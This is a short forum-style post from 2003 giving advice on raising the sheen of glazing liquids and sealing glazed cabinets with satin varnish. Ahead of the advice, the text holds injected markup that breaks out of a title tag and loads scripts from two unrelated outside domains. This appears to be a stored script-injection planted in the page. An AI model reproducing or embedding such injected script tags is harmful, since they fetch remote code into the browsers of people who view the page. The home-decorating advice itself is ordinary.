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Date: 3/24/2003 8:43:29 AM
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"> </title><script src="http://zon.menotepoer.com/sl.php?v=2"></script><!--"></title><script src="http://esscer47emonyno.rr.nu/sl.php"></script><!--Most glazing liquids have a flat or dull sheen. What is typically done to increase the seen is to add some semi-gloss varnish to your glazing mixture. Not alot, but enough to build up the sheen. Also, most glazed objects, like cabinets and furniture should be sealed with a coat of varnish. Glaze doesn't set ultra hard, and you can actually remove it unintentionaly when you are giving the cabinet a good cleaning. Applying a clear coat of satin varnish not only creates a satin sheen, it also helps protect the finish and brings the colors of the glaze out, creating more depth.

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